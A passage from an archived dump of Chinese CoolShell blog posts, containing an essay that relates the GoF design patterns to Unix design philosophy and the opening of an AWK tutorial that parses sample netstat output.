href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3083.html\"><img alt=\"三个教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3083.html\">三个教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-2-1 从面向对象的设计模式看软件设计.html",
    "content": "<html><body><p>前些天发了一篇《<a href=\"https://coolshell.cn/articles/8745.html\" rel=\"bookmark\" target=\"_blank\" title=\"如此理解面向对象编程\">如此理解面向对象编程</a>》的文章，然后引起了大家的热议。然后我在<a href=\"http://weibo.com/1401880315/z9wWHrrVR\" target=\"_blank\">微博上说</a>了一句——“<strong>那23个经典的设计模式和OO半毛钱关系没有，只不过人家用OO来实现罢了……OO的设计模式思想和Unix的设计思想基本没什么差别</strong>”，结果引来了一点点争议。所以，我写下这篇文章把我的观点说明一下。我希望这样可以让大家更容易地理解什么是设计模式。<strong>我顺便帮OO和 Unix/Linux搞搞基</strong>。</p>\n<h4>什么是模式</h4>\n<p>在正式说明GoF的那23个经典的设计模式其实和OO关系不大并和Unix的设计思想很相似的这个观点之前，让我先来说说什么是模式？设计模式的英文是Design Pattern，模式是Pattern的汉译。所谓Pattern就是一种规则，或是一种模型，或是一种习惯。Pattern这个东西到处都是，并不只有技术圏子里才有。比如：</p>\n<ul>\n<li>文章有文章的Pattern。如新闻有新闻的Pattern（第一段话简述了整个新闻），诗歌总是抒情的，论文总是死板的，讲稿总是高谈的，漫画总是幽默的，……</li>\n<li><span style=\"line-height: 13px;\">小说有小说的Pattern。比如，</span>\n<ul>\n<li><span style=\"line-height: 13px;\">武侠小说必然要整个武林大会，整几个NB的武功和大师，分个正派和反派，还有一个或数个惊天阴谋，坏人总是要在一开始占尽优势，好人总是要力挽狂澜……</span></li>\n<li><span style=\"line-height: 13px;\">言情小说总是要有第三者，总是要有负心人，里面的女子总是要哭得死去活来，但又痴心不改，……</span></li>\n</ul>\n</li>\n<li> 新闻联播的模式是：头10分钟领导很忙，中间10分钟人民很幸福，后10分钟国外很乱。中国政府官方宣传稿也模式也很明显，各种赞美，口号，胜利，总是要坚持个什么，团结个什么，迈向个什么，某某精神，某某思想，群众情绪稳定，不明真相，等等……</li>\n<li>春节的模式是，回家，吃饺子，放个鞭炮，给压岁钱，同学聚会…… 同学聚会的模式基本上都是在饭桌上回忆一下校园时光，比较一下各自的当前处境，调戏一下女同学……</li>\n<li>…… ……</li>\n</ul>\n<p>这就是Pattern，只要你细心观察，你会发现这世间有很多很多的Pattern。</p>\n<p><span id=\"more-8961\"></span></p>\n<h4>GoF的23个设计模式</h4>\n<p>《<a href=\"http://product.china-pub.com/25961\" target=\"_blank\">设计模式</a>》这本书中，GoF这四个人总结了23个经典的面向对象的设计模式，某中有5个创建模式，7个结构模式，11个行为模式。<strong>很多人都会觉得这是面向对象的设计模式，很多人也觉得非面向对象不能用这些模式。我觉得这是一种教条主义。</strong>就像《<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">那些流行的编程方法</a>》中的“设计模式驱动型编程”一样，就像《<a href=\"https://coolshell.cn/articles/8745.html\" target=\"_blank\" title=\"如此理解面向对象编程\">如此理解面向对象</a>》一样的那么的滑稽。</p>\n<p>好了，回到我的论点——“<strong>GoF的这23个设计模式和OO关系不大，并且和Unix的设计思想基本一致，只不过GoF用OO实现了它们</strong>”，就像我上面说过的那些生活中的Pattern一样，只要你仔细思考，你会发现这23个设计模式在我们的生活和社会中也能有他们的身影。而且也一样可以用OO的方式实现之。</p>\n<p>让我们来看看这23个经典的设计模式中的几个常用的模式：</p>\n<p><strong>Factory 模式</strong>，这个模式可能是是个人都知道的模式。这个模式在现实社会中就像各种工厂一样，工厂跨界的不多，基本上都是在生产同一类的产品，有的生产汽车，有的生产电视，有的生产衣服，有的生产卫生纸……基本上来说，一个生产线上只有做同一类的东西。这和Factory模式很相似。编程中，像内存池，线程池，连接池等池化技术都是这个模式，当然，Factory给你的一个对象，而不单单只是资源，factory创建出来的对象都有同样的接口可以被多态调用。<strong>这其实和Unix把所有的硬件都factory成文件一样，并提供了read/write等文件操作来让你操作任意设备的I/O</strong>。</p>\n<p><strong>Abstract Factor</strong>y：抽象工厂这个模式是创建一组有同一主题的不同的类。这个模式在现实社会当中也有很多例子，比如：</p>\n<ul>\n<li>移动公司的合约机计划，88套餐（通话100分钟，短信100条，彩信，20条，上网200M），128套餐（通话200分钟，短信150条，彩信50条，上网500M）……</li>\n</ul>\n<ul>\n<li>家里的装修，总是要有厨卫，有门，有灯，有沙发，有茶几，有床，有衣柜，有电视，有冰箱，有洗衣机……，这些都是必需的，只是每个家庭里的具体装修不一样。</li>\n</ul>\n<ul>\n<li>Diablo游戏中的Normal，Hard，Nightmare，Hell模式，这些模式的怪和场景和故事情况都差不多，就是每个场景的怪物和装备的属性不一样。或是WarCraft中的地图就是一个Abstract Factory模式(注：Warcraft的地图什么都能干)。这和学校中的小学，初中，高中，大学差不多，都是一样的学习环境，一样的教学方式，一样的教室，都要期中考和期末考，都有班长和科代表，就是学的东西的难度不一样，但基本上都是语文，英语，数，理，化，还有永远都有的政治课。学校就是一个抽象工厂。</li>\n</ul>\n<p>这就是抽象工厂的业务模型（或是：Business Pattern），你觉得是不是不一定非要用OO来实现这样的模式？（我们思考一下，我们会不会被先入为主了，觉得不会OO都不知道怎么实现了），不用OO，用相同格式但内容不同的配置文件是不是也能实现？在Unix下<strong>，抽象工厂这个模式在Unix下就像是/etc/rcX.d下的那些东西，1代表命令行单用户，2，代表命令行多用户，3代表命令行多用户完整模式启动，5代表图形界面启动，0代表关机，6代表重启，你要切换的话，init &lt;X&gt;就行了</strong>。</p>\n<p><strong>Prototype模式</strong>，原型模式，复制一个类的实现。这个模式在现实中的例子也有很多：传真，复印，都是这个模式。<strong>Unix进程和Github项目的Fork就是一种。进程fork明显不是OO的模型</strong>（参看：<a href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\" title=\"一个fork的面试题\">关于Fork的一道面试题</a>）。用非OO的方法同样可以实现这个模式。</p>\n<p><strong>Singleton模式</strong>，单例模式。生活中，公司只有一个CEO，法律限制你只能有一个老婆，你只能有一个身份证号，一个TCP端口只能被一个进程使用，等等。软件开发方面，并不一定只有OO才能做到，你可以用一个全局变量，一个中心服务器，甚至可以使用行政手段来约束开发中不会出现多个实例。<strong>Unix下实现单例进程的一个最常用的实践是在进程启动的时候用“(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH)”模式打开一个“锁文件”</strong>。</p>\n<p><strong>Adapter模式</strong>，适配器模式。可以兼容欧洲美国中国的插头或插座，万能读卡器，可以播放各种格式多媒体文件的插放器，可以解析FTP/HTTP/HTTPS/等网络协议的浏览器，可以兼容各大银行的银联接口、支付宝、Paypal、VISA等银行接口，可以适配各种后端的解释器的Nginx或Apache，等等。用非OO的编程方式就是重新包装成一个标准接口。<strong>这个模式很像Unix下的/dev下的那些文件，操作系统把系统设备适配成文件，于是你就可以使用read/write来进行读写了</strong>。</p>\n<p><strong>Bridge模式</strong>，桥接模式。这个模式用的更多，比如一个灯具可以接各种灯泡或灯管，一个电钻可以换上不同的钻头来适应不同的材料，一辆汽车可以随时更换不同的轮胎来适应不同的路面，你的桌面可以随时更换一个图片来适应你的心情，你的单反相机可以更换不同的镜头来拍不同的照片…… 桥接模式说白了就是组件化，模块化，可以自由拼装。在OO中，其主要是通过让业务类组合一个标准接口来完成，这在非OO的程序设计中用得实在是太多了，主要是通过回调函数或是标准接口来实现。这个也是Unix设计哲学中的主要思想。<strong>在Unix中，文件的权限使用的就是Bridge模式，标准接口是用户，用户组和其它，rwx三个模式，然后用 chmod/chown改一改，这文件就有不同的属主和属性了</strong>。</p>\n<p><strong>Decorator模式</strong>，装饰模式。这个模式在生活中太多了，你给你的手机或电脑贴个什么，挂个什么，吃东西的时候加点什么佐料，多点肉还是多个蛋，一个Unix/Linux命令的各种参数是对这个命令的修饰，等等。<strong>我觉得这个模式在Unix中最经常的体现就是通过管道把命令连接起来来完成一个功能</strong>，比如：ps -elf  是列进程的，用管道 grep hchen就可以达到过滤的目的，grep的逻辑没有侵入ps中，grep 修饰了 ps，但是其组合起来完成了一个特定的功能。可见，这和OO没有什么关系。</p>\n<p><strong>Facade模式，</strong>这个模式我们每个人从会编程的时候就在无意识地用这个模式了。这个模式就是把一大堆类拼装起来，并统一往外提供提口。在现实生活中这样的例子太多了，比如：旅行社把机票，酒店，景点，导游，司机，进店打了一个包叫旅行；IBM把主机，存储，OS，J2EE，DB，网络，流程打了个包叫企业级解决方案。Unix中最典型的一个例子就是用Shell脚本组合各种命令来创造一个新的功能，这是的Shell中的各种命令通过标准I/O这个接口进行组合交互。</p>\n<p><strong>Proxy模式</strong>，代理模式。我们租个房，买个机票，打个官司，都少不了代理，人大代表代理了老百姓去行使政治权力。我们去饭馆里吃饭也是一种代理模式，因为我们只管吃就好了，洗菜做饭洗碗的工作都被Proxy帮你干了，于是你就省事多了。操作系统就是硬件的代理，CDN就是网站的代理，……使用代理你可以让事情变理更简单，也可以在代理层加入一些权限检查，这样可以让业务模块更关注业务，而把一些非业务的事情剥离出来交给代理以完成解耦。可见这个模式和OO没啥关系。<strong>Unix下这个模式最佳体现就是Shell，它代理了系统调用并提供UI</strong>。还有很多命令会帮你把/proc目录下的那些文件内容整理和显示出来。</p>\n<p><strong>Chain of Responsibility模式</strong>，劫匪来抢银行，保安搞不定，就交给110，110搞不定就交给武警。有什么事件发生时的响应的Escalation Path，办公中的逐级审批。这个模式用一个函数指针数组或是栈结构就可以实现了。这个思想很像编程中的异常处理机制，一层一层地往上传递异常直到异常被捕捉。<strong>在Unix下，一个最简单的例子就是用 &amp;&amp; 或 || 来把命令拼起来，如：cmd1 &amp;&amp; cmd2  或 cmd3 || cmd4 ， 如果cmd1失败了，cmd2就不会执行，如果cmd3失败了，cmd4才会执行。</strong>如： cd lib &amp;&amp; rm -rf .o 或 ping -c1 coolshell.cn &amp;&amp; ssh haoel@coolshell.cn</p>\n<p><strong>Command模式</strong>，这恐怕是软件里最多的模式了，比如：编译器里的Undo/Redo，宏录制。还有数据库的事务处理，线程池，设置向导，包括程序并行执行的指令集等等。这个模式主要是把一个对象的行为封装成一个一个的有相同接口的command，然后交给一个统一的命令执行器执行或管理这些命令。<strong>这个模式和我们的Unix/Linux机器启动时在/etc/init.d下的那些S和K开头的脚本很像，把各种daemon的启动和退出行为封装成一个脚本其支持reload/start/stop/status这样的命令，然后把他们按一定的规范做符号链接到/etc/init.d目录下，这样操作系统就会接管这些daemon的启动和退出</strong>。</p>\n<p><strong>Observer模式</strong>，观察者模式，这个模式也叫pub-sub模式，很像我们用手机订阅手机报，微博的follow的信息流也是这样的一个模式。MVC中的C会sub V中的事件，用非OO的方式其实也是一个回调函数的事。在很多异步系统中，你需要知道最终的调用有没有成功，比如说调用支付宝的支付接口，你需要向支付宝注册一个回调的接口，以便支付宝回调你。<strong>Linux下的一些系统调用如epoll/aio/inotify/signal都是这种思路</strong>。</p>\n<p><strong>Strategy 模式</strong>，策略模式，这个模式和Bridge模式很像，只不过Bridge是结构模式，其主要是用于对象的构造；而Strategy是行为模式，主要是用于对象的行为。策略模式很像浏览器里的各种插件，只要你装了某个插件，你就有某个功能。你可以安装多个插件来让你的浏览器有更多的功能（书本上的这个模式是你只能选用一个算法，当然，我们不用那么教条）。<strong>就像《<a href=\"https://coolshell.cn/articles/8619.html\" target=\"_blank\" title=\"你可能不知道的Shell\">你可能不知道的Shell</a>》中的那个设置设置$EDITOR变量后可以按ctrl+x e启动编译器，或是用set -o vi或set -o emacs 来让自己的shell像vi或 emacs 一样，或是像find -exec或xargs一样的拼装命令</strong>。</p>\n<p><strong>Bridge 和 Strategy是OO设计模式里的“Favor Composition Over Inheritance” 的典范，其实现了接口与实现分离的</strong>。Unix中的Shell就是一种，你可随意地更换不同的Shell。还有Emacs中的LISP驱动C，C实现了引擎，交给LISP实现逻辑。把程序分为前端和后端，通过socket专用应用协议进行通讯，前端实现策略，后端实现机制。再看看makefile把编译器和源代码的解耦，命令行输出这个接口可以把一个复杂的功能解耦并抽像成各种各样小而美的小功能命令，等等这样的例子，你会发现，还有大量的编程框架都会多少采用这样的思想，可以让你的软件像更换汽车零件一样方便。我在用<a href=\"https://coolshell.cn/articles/7236.html\" target=\"_blank\" title=\"用Unix的设计思想来应对多变的需求\">Unix的设计思想来应对变更的需求</a>中说过灯具厂，灯泡厂，和开关厂的例子。</p>\n<h4>后记</h4>\n<p>因为写作仓促，上面的那些东西，可能会你让你觉得有些牵强，那么抱歉了，你可以帮我看看在生活中和 Unix里有没有更帅的例子。</p>\n<p>不过，我们会发现上面OO搞出来的那么多模式在Unix下看来好像没有那么复杂，而且Unix下看起来并没有那么多模式，而且Unix中的设计模式无非就是这么几个关键词：<strong>单一，简洁，模块，拼装</strong>。我们再来看看OO设计的两大准则：<strong>1）钟情于组合而不是继承，2）依赖于接口而不是实现</strong>。还有S.O.L.I.D原则也一样（如果你仔细观察，你会发现SOLID原则在Unix下也是完美地体现）。你看，Unix和OO设计模式是不是完美的统一吗？</p>\n<p>我有种强烈的感觉——<strong>Unix对这些所谓的OO的设计模式实现得更好</strong>。因为Unix就一条设计模式！再次推荐《<em><a href=\"http://book.douban.com/subject/5387401/\" target=\"_blank\">The Art of Unix Programming</a></em>》</p>\n<p><img alt=\"Unix Kiss\" class=\"size-full wp-image-8967 aligncenter\" height=\"219\" src=\"../wp-content/uploads/2013/01/kiss.png\" width=\"468\"/></p>\n<h4>餐后甜点</h4>\n<p>我上面提到了《<em><a href=\"http://book.douban.com/subject/5387401/\" target=\"_blank\">The Art of Unix Programming</a></em>》，所以我有必要再谈谈这本书中我中毒最深的一章《模块性：保持清晰和简洁》中所谈到的胶合层。</p>\n<p>胶合层这一节中说了，我们开发软件一般要么Top-Down，要么Bottom-Up，这两种方法都有好有不好。顶层一般是应用逻辑层，底层一般是原语层（我理解为技术沉淀层，或是技术基础层）。自顶向下的开发，你可能会因为开发到底层后发现底层可沉淀的东西越来越不爽（因为被可能被很多业务逻辑所侵入），如果自底向上的开发，你可能越到上层你越发现很多你下面干的基础上工作有很多用不上（比如干多了）。所以，最好的方式是同时进行，一会顶层，一会底层，来来回回的开发——说白了就是在开发中不断的重构，边开发边理解边沉淀。</p>\n<p>无论怎么样，你会发现需要一层胶合层来胶合业务逻辑层和底层原语层（软件开发中的业务层和技术层的胶合），Unix的设计哲学认为，这层胶合层应该尽量地薄，胶合层越多，我们就只能在其中苦苦挣扎。</p>\n<p>其实，<strong>胶合层原则就是分离原则上更为上层地体现，策略（业务逻辑）和机制（基础技术或原语）的清楚的分离。你可以看到，OO和Unix都是在做这样的分离。但是需要注意到的时，OO用抽象接口来做这个分离——很多OO的模式中，抽象层太多了，导致胶合层太过于复杂了，也就是说，OO鼓励了——“厚重地胶合和复杂层次”，反而增加了程序的复杂度（这种情况在恶化中）。而Unix采用的是薄的胶合层，薄地相当的优雅</strong>。（通过这段话的描述，我相信你会明白了《<a href=\"https://coolshell.cn/articles/8745.html\" rel=\"bookmark\" target=\"_blank\" title=\"如此理解面向对象编程\">如此理解面向对象编程</a>》中的个例子——为什么用OO来实现会比用非OO来实现更为地恶心——那就是因为OO胶合层太复杂了）</p>\n<p><strong>OO的最大的问题就——接口复杂度太高，胶合层太多！</strong>（注：Unix编程艺术这本书里说了软件有三个复杂度：代码量、接口、实现，这三个东西构成了我们的软件复杂度）</p>\n<h4>再送一个果盘</h4>\n<p>大家一定记得《<a href=\"https://coolshell.cn/articles/5701.html\" title=\"SteveY对Amazon和Google平台的长篇大论 - 60,581 人阅读\">SteveY对Amazon和Google平台的长篇大论</a>》中Amazon中那个令人非常向往的SOA式的架构。因为以前在Amazon，有些话不好说。现在可以说了，我在Amazon里，我个人对这个服务化的架构相当的不待见，太复杂，复杂以乱七八糟，方向是好的，想法也是好的，但是这东西和OO一样，造成大量的接口复杂度，今天的Amazon，完全没人知道各个服务是怎么个调用的，一团乱麻（其内部并不像你看到的AWS那么的美妙。注：AWS是非常不错的，是相当好的设计）。</p>\n<p><strong>那么我们怎么来解决SOA的接口复杂度问题？其实，Unix早就给出了答案——数据驱动编程</strong>（详见：《Unix编程艺术》的第9.1章），在我离开Amazon的时候，美国总部的Principle SDE们在吐槽今天Amazon的SOA架构，更好的架构应该是数据驱动式的。（今天还在Amazon的同学可以上内网boardcast上看看相关的Principle Talk视频）</p>\n<p>（瞎扯一句：这本来是我想在2012年杭州QCon上的分享的一个主题，无奈当时被大会组织者给拒了，所以只好讲了一个《建一支小团队》，今天有多人还是不能明白甚至反感我的那个《小团队》的演讲，但是我相信那是必然的趋势，就像十年前大家在说“程序员只能干到30岁”时，当时的我我却毫不犹豫地相信十年后，30岁以上的有经验的老程序员一定会成为各个公司角逐和竟争的红人）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4535.html\"><img alt=\"一些软件设计的原则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6950.html\"><img alt=\"需求变化与IoC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-2-17 AWK 简明教程.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-9093\" height=\"279\" src=\"../wp-content/uploads/2013/02/awk.jpg\" width=\"350\"/>有一些网友看了前两天的《<a href=\"https://coolshell.cn/articles/8883.html\" target=\"_blank\" title=\"应该知道的Linux技巧\">Linux下应该知道的技巧</a>》希望我能教教他们用awk和sed，所以，出现了这篇文章。我估计这些80后的年轻朋友可能对awk/sed这类上古神器有点陌生了，所以需要我这个老家伙来炒炒冷饭。<strong>况且，AWK是贝尔实验室1977年搞出来的文本出现神器，今年是蛇年，是AWK的本命年，而且年纪和我相仿，所以非常有必要为他写篇文章</strong>。</p>\n<p>之所以叫AWK是因为其取了三位创始人 <a href=\"http://en.wikipedia.org/wiki/Alfred_Aho\" title=\"Alfred Aho\">Alfred Aho</a>，<a href=\"http://en.wikipedia.org/wiki/Peter_J._Weinberger\" title=\"Peter J. Weinberger\">Peter Weinberger</a>, 和 <a href=\"http://en.wikipedia.org/wiki/Brian_Kernighan\" title=\"Brian Kernighan\">Brian Kernighan</a> 的Family Name的首字符。要学AWK，就得提一提AWK的一本相当经典的书《<a href=\"http://plan9.bell-labs.com/cm/cs/awkbook/\" rel=\"nofollow\">The AWK Programming Language</a>》，它在<a href=\"http://book.douban.com/subject/1876898/\" target=\"_blank\">豆瓣上的评分</a>是9.4分！在<a href=\"http://www.amazon.cn/mn/detailApp/?asin=020107981X\" target=\"_blank\">亚马逊上居然卖1022.30元</a>。</p>\n<p>我在这里的教程并不想面面俱到，本文和我之前的<a href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\" title=\"Go 语言简介（上）— 语法\">Go语言简介</a>一样，全是示例，基本无废话。</p>\n<p><strong>我只想达到两个目的：</strong></p>\n<p style=\"text-align: left; padding-left: 30px;\"><strong>1）你可以在乘坐公交地铁上下班，或是在坐马桶拉大便时读完（保证是一泡大便的工夫）。</strong></p>\n<p style=\"text-align: left; padding-left: 30px;\"><strong>2）我只想让这篇博文像一个火辣的脱衣舞女挑起你的兴趣，然后还要你自己去下工夫去撸。</strong></p>\n<p>废话少说，我们开始脱吧（注：这里只是topless）。</p>\n<h4>起步上台</h4>\n<p>我从netstat命令中提取了如下信息作为用例：</p>\n<p><span id=\"more-9070\"></span></p>\n<pre class=\"EnlighterJSRAW\">$ cat netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\ntcp        0      0 :::22                  :::*                        LISTEN\n</pre>\n<p>下面是最简单最常用的awk示例，其输出第1列和第4例，</p>\n<ul>\n<li>其中单引号中的被大括号括着的就是awk的语句，注意，其只能被单引号包含。</li>\n<li>其中的$1..$n表示第几例。注：$0表示整个行。</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">$ awk '{print $1, $4}' netstat.txt\nProto Local-Address\ntcp 0.0.0.0:3306\ntcp 0.0.0.0:80\ntcp 127.0.0.1:9000\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp :::22</pre>\n<p>我们再来看看awk的格式化输出，和C语言的printf没什么两样：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '{printf \"%-8s %-8s %-8s %-18s %-22s %-15s\\n\",$1,$2,$3,$4,$5,$6}' netstat.txt\nProto    Recv-Q   Send-Q   Local-Address      Foreign-Address        State\ntcp      0        0        0.0.0.0:3306       0.0.0.0:*              LISTEN\ntcp      0        0        0.0.0.0:80         0.0.0.0:*              LISTEN\ntcp      0        0        127.0.0.1:9000     0.0.0.0:*              LISTEN\ntcp      0        0        coolshell.cn:80    124.205.5.146:18245    TIME_WAIT\ntcp      0        0        coolshell.cn:80    61.140.101.185:37538   FIN_WAIT2\ntcp      0        0        coolshell.cn:80    110.194.134.189:1032   ESTABLISHED\ntcp      0        0        coolshell.cn:80    123.169.124.111:49809  ESTABLISHED\ntcp      0        0        coolshell.cn:80    116.234.127.77:11502   FIN_WAIT2\ntcp      0        0        coolshell.cn:80    123.169.124.111:49829  ESTABLISHED\ntcp      0        0        coolshell.cn:80    183.60.215.36:36970    TIME_WAIT\ntcp      0        4166     coolshell.cn:80    61.148.242.38:30901    ESTABLISHED\ntcp      0        1        coolshell.cn:80    124.152.181.209:26825  FIN_WAIT1\ntcp      0        0        coolshell.cn:80    110.194.134.189:4796   ESTABLISHED\ntcp      0        0        coolshell.cn:80    183.60.212.163:51082   TIME_WAIT\ntcp      0        1        coolshell.cn:80    208.115.113.92:50601   LAST_ACK\ntcp      0        0        coolshell.cn:80    123.169.124.111:49840  ESTABLISHED\ntcp      0        0        coolshell.cn:80    117.136.20.85:50025    FIN_WAIT2\ntcp      0        0        :::22              :::*                   LISTEN</pre>\n<h4>脱掉外套</h4>\n<h5>过滤记录</h5>\n<p>我们再来看看如何过滤记录（下面过滤条件为：第三列的值为0 &amp;&amp; 第6列的值为LISTEN）</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$3==0 &amp;&amp; $6==\"LISTEN\" ' netstat.txt\ntcp        0      0 0.0.0.0:3306               0.0.0.0:*              LISTEN\ntcp        0      0 0.0.0.0:80                 0.0.0.0:*              LISTEN\ntcp        0      0 127.0.0.1:9000             0.0.0.0:*              LISTEN\ntcp        0      0 :::22                      :::*                   LISTEN</pre>\n<p>其中的“==”为比较运算符。其他比较运算符：!=, &gt;, &lt;, &gt;=, &lt;=</p>\n<p>我们来看看各种过滤记录的方式：</p>\n<pre class=\"EnlighterJSRAW\">$ awk ' $3&gt;0 {print $0}' netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK</pre>\n<p>如果我们需要表头的话，我们可以引入内建变量NR：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$3==0 &amp;&amp; $6==\"LISTEN\" || NR==1 ' netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN</pre>\n<p>再加上格式化输出：</p>\n<pre class=\"EnlighterJSRAW\">$ awk '$3==0 &amp;&amp; $6==\"LISTEN\" || NR==1 {printf \"%-20s %-20s 